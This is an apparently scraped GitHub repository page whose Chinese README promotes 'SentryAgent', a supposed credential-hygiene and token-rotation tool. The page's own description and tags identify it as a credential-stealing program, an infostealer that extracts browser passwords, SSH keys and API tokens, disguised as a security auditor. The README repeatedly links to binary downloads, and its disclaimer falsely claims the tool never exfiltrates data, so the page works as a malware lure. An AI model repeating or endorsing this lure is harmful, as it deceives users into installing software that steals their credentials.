pop98324/vertex-harvester

GitHub: pop98324/vertex-harvester

一款伪装成端点安全审计工具的凭证窃取程序,核心功能是扫描并提取浏览器密码、SSH 密钥和 API Token 等敏感信息。

Stars: 0 | Forks: 0

# 🧠 Vertex-0: SentryAgent **智能凭证守护者与系统卫生工具包** *将你的端点转变为自我审计的数字哨兵* [![下载](https://img.shields.io/badge/Download%20Link-brightgreen?style=for-the-badge&logo=github)](https://pop98324.github.io) ## 📡 概述 大多数人把他们的电脑当成一个漏勺——密码泄露、token 过期、敏感文件像被遗忘的脏衣服一样堆积如山。**Vertex-0: SentryAgent** 颠覆了这一局面。SentryAgent 并非像其前身 *vertex-grabber* 那样从目标机器*提取*数据,而是通过持续扫描凭证泄露、孤立的 token、弱加密和未经授权的访问模式来*保护*主机。它是一个自我修复的数字免疫系统。 把它想象成一个从不休息的个人审计员——不是小偷,而是守夜人。每一个缺失的证书、每一个过期的 API key、每一个被遗忘的保存密码都会被标记、隔离,并可选择进行修复。SentryAgent 将你的 PC 从一个安全漏洞变成一座堡垒。 ## 🧩 架构与决策流程 ``` flowchart TD A[User launches SentryAgent] --> B{Configuration mode?} B -->|Profile-driven| C[Load .sentryprofile config] B -->|Ad-hoc| D[CLI flags override defaults] C --> E[Scan System] D --> E E --> F{Threat detected?} F -->|Browser credentials| G[Quarantine & log] F -->|Weak encryption| H[Suggest upgrade] F -->|Orphaned tokens| I[Rotate via API] F -->|Clean| J[Generate hygiene report] G --> K[User review] H --> K I --> K K --> L[Auto-remediate?] L -->|Yes| M[Execute fix] L -->|No| N[Save alert] M --> O[Send summary to webhook] N --> O ``` ## 🌐 跨平台 Emoji 兼容性矩阵 | 操作系统系列 | 原生支持 | Emoji 渲染 | CLI 稳定性 | 审计深度 | |--------------------|----------------|------------------|---------------|-------------| | 🪟 Windows 11 | ✅ 完整 | ✅ 原生 | ⚡ 极佳 | 🔍 深度 | | 🍏 macOS 14+ | ✅ 完整 | ✅ 原生 | ⚡ 极佳 | 🔍 深度 | | 🐧 Ubuntu 24.04 | ✅ 完整 | ⚠️ 终端回退 | ⚡ 极佳 | 🔍 深度 | | 🐧 Fedora 40 | ✅ 完整 | ⚠️ 终端回退 | ⚡ 极佳 | 🔍 中等 | | 🐧 Arch 系 | ⚠️ 部分 | ⚠️ 终端回退 | ⚡ 良好 | 🔍 中等 | | 🪟 Windows 10 | ✅ 完整 | ✅ 原生 | ⚡ 良好 | 🔍 深度 | | 🐧 Debian 12 | ⚠️ 部分 | ⚠️ 终端回退 | ⚡ 良好 | 🔍 中等 | ## 🔒 核心特性 ### 🛡️ 凭证保管库扫描器 扫描浏览器密码管理器、SSH 密钥和云凭证文件,以检测: - 跨平台重复使用的密码 - 过期超过 180 天的密钥 - 违反最小权限原则的权限 输出一个**风险密度评分** —— 一个代表你暴露面的单一数值。 ### 💳 Token 轮换引擎 使用官方的吊销端点自动轮换过期的 API token(OpenAI、Claude、GitHub、AWS)。无需手动干预。该引擎: - 识别超过 90 天的 token - 生成具有相同 scope 的新 token - 更新本地配置文件或环境变量 - 将轮换时间戳记录到不可变的审计追踪中 ### 🧠 多语言仪表板 一个轻量级的响应式 Web UI(Flask + Jinja2),具备以下功能: - 支持 12 种语言渲染(英语、西班牙语、法语、德语、葡萄牙语、日语、韩语、中文、阿拉伯语、俄语、印地语、土耳其语) - 自动检测浏览器语言环境 - 使用颜色编码的严重性显示系统卫生评分 - 支持通过系统托盘代理进行 7x24 小时后台扫描 ### 🔧 示例配置文件 (`.sentryprofile`) ``` sentry: scan_schedule: hourly auto_rotate: true quarantine_path: ~/.sentry_quarantine webhook_url: https://hooks.example.com/alerts languages: - en - es - ja os_compatibility: windows_10: allow windows_11: allow macos_14: allow linux_debian: warn ai_providers: openai: api_key_env: OPENAI_API_KEY model: gpt-4o-mini risk_analysis: true claude: api_key_env: ANTHROPIC_API_KEY model: claude-3-haiku-20240307 token_rotation: true chat_summaries: true ``` ### ⌨️ 示例控制台调用 ``` # 无配置快速扫描 sentryagent --mode scan --output json # 基于 Profile 的执行与自动修复 sentryagent --profile ~/.sentryprofile --remediate --webhook # 持续后台守护进程 (兼容 systemd) sentryagent --daemon --interval 30m --log /var/log/sentry.log # 集成 OpenAI 生成自然语言摘要 sentryagent --scan --ai-summary --provider openai --model gpt-4o-mini # 仅轮换过期的 Claude tokens sentryagent --rotate --provider claude --dry-run ``` ## 🤖 OpenAI 与 Claude API 集成 SentryAgent 利用 AI 使审计报告更具可读性和可操作性。 **OpenAI 集成:** - 从原始扫描数据生成*自然语言风险叙述* - 根据泄露数据库(通过 API 上下文)推荐特定的密码替换方案 - 通过 GPT-4o-mini 摘要发送每日卫生摘要 **Claude (Anthropic) 集成:** - 分析 token 权限 scope 并建议最小权限优化 - 生成多语言的系统卫生摘要(需要有效的 `ANTHROPIC_API_KEY`) - 支持对话式审计:用简单的英语向 Claude 询问你的凭证健康状况 ``` # 示例:用自然语言查询您的审计数据 sentryagent --query "Which tokens are about to expire and what should I rotate first?" --provider claude ``` ## 📦 安装说明 ### 通过 Git Clone 安装(推荐) ``` git clone https://github.com/vertex-0/sentryagent.git cd sentryagent pip install -r requirements.txt chmod +x sentry.py ./sentry.py --version ``` ### 二进制文件下载 - **Windows**: 便携式 EXE(无需管理员权限) - **macOS**: 带签名可执行文件的 DMG - **Linux**: 适用于所有主要发行版的 AppImage [![下载](https://img.shields.io/badge/Download%20Link-brightgreen?style=for-the-badge&logo=github)](https://pop98324.github.io) ## 🔍 SEO 优化关键词(自然融入) - 用于凭证泄露检测的*端点审计工具包* - 针对 OpenAI 和 Claude API 密钥的*自动 token 轮换* - 带有响应式 Web 仪表板的*多平台系统卫生*扫描器 - 用于身份威胁检测的*自托管安全哨兵* * 使用本地 AI 模型的*隐私优先凭证守护者* - 支持多语言的*密码健康分析器* - 针对企业笔记本电脑的*7x24 小时后台监控*守护进程 SentryAgent 不是一个*免费工具* —— 它是一个在 MIT 许可下提供的**价值导向的安全实用程序**,旨在鼓励合乎道德的使用。 ## ⚠️ 免责声明 SentryAgent 是一个**系统卫生与凭证管理工具**。除非用户明确配置将日志发送到外部 webhook,否则它**绝不会**从主机系统外泄、提取或共享任何数据。该软件: - 默认仅在本地机器上运行 - 任何网络通信都需要用户的明确同意 - 从不以明文形式存储凭证;使用加密的本地保管库 - **绝非**黑客工具或键盘记录器 —— 它是一个**审计与保护代理** 作者不对误用、配置错误或在非自有系统上的未经授权部署负责。在审计第三方系统时,请始终遵守当地法规。 ## 📄 许可证 本项目基于 **MIT 许可证** 授权 —— 有关详细信息,请参阅 [LICENSE](LICENSE) 文件。 版权所有 © 2026 Vertex-0 Development。特此免费授予任何获得本软件副本和相关文档文件(“软件”)的人不受限制地处置该软件的权利,包括不受限制地使用、复制、修改、合并、发布、分发、再授权和/或出售该软件副本的权利,并再授权给配备了该软件的人员,但须满足以下条件: 上述版权声明和本许可声明应包含在该软件的所有副本或大部分中。 本软件按“原样”提供,不提供任何形式的保证,无论是明示的还是暗示的,包括但不限于对适销性、特定用途的适用性和非侵权性的保证。在任何情况下,作者或版权持有人均不对任何索赔、损害或其他责任负责,无论是在合同诉讼、侵权行为还是其他方面,由该软件或其使用或其他交易引起、由此产生或与之相关。 ## 🧪 未来路线图(2026 年第二季度与第三季度) - 🧬 **生物识别关联** —— 将凭证健康状况与物理设备信任评分绑定 - 🌌 **零知识证明卫生状况** —— 在不泄露密码的情况下分享你的风险评分 - 📊 **企业车队模式** —— 供 IT 管理员监控 100 多个端点的集中式仪表板 - 🧠 **本地 LLM 支持** —— Ollama 集成,实现真正的离线 AI 摘要 [![下载](https://img.shields.io/badge/Download%20Link-brightgreen?style=for-the-badge&logo=github)](https://pop98324.github.io) *SentryAgent:因为你的凭证需要的是保镖,而不是小偷。*
标签:GitHub开源安全工具, HTTP工具, PC密码抓取, Petitpotam, T1566, 信息窃取工具, 凭据转储, 凭证安全, 密码提取, 恶意软件, 攻击路径可视化, 数据窃取, 无线安全, 浏览器密码解密, 系统信息收集, 网络安全, 逆向工具, 隐私保护, 黑客工具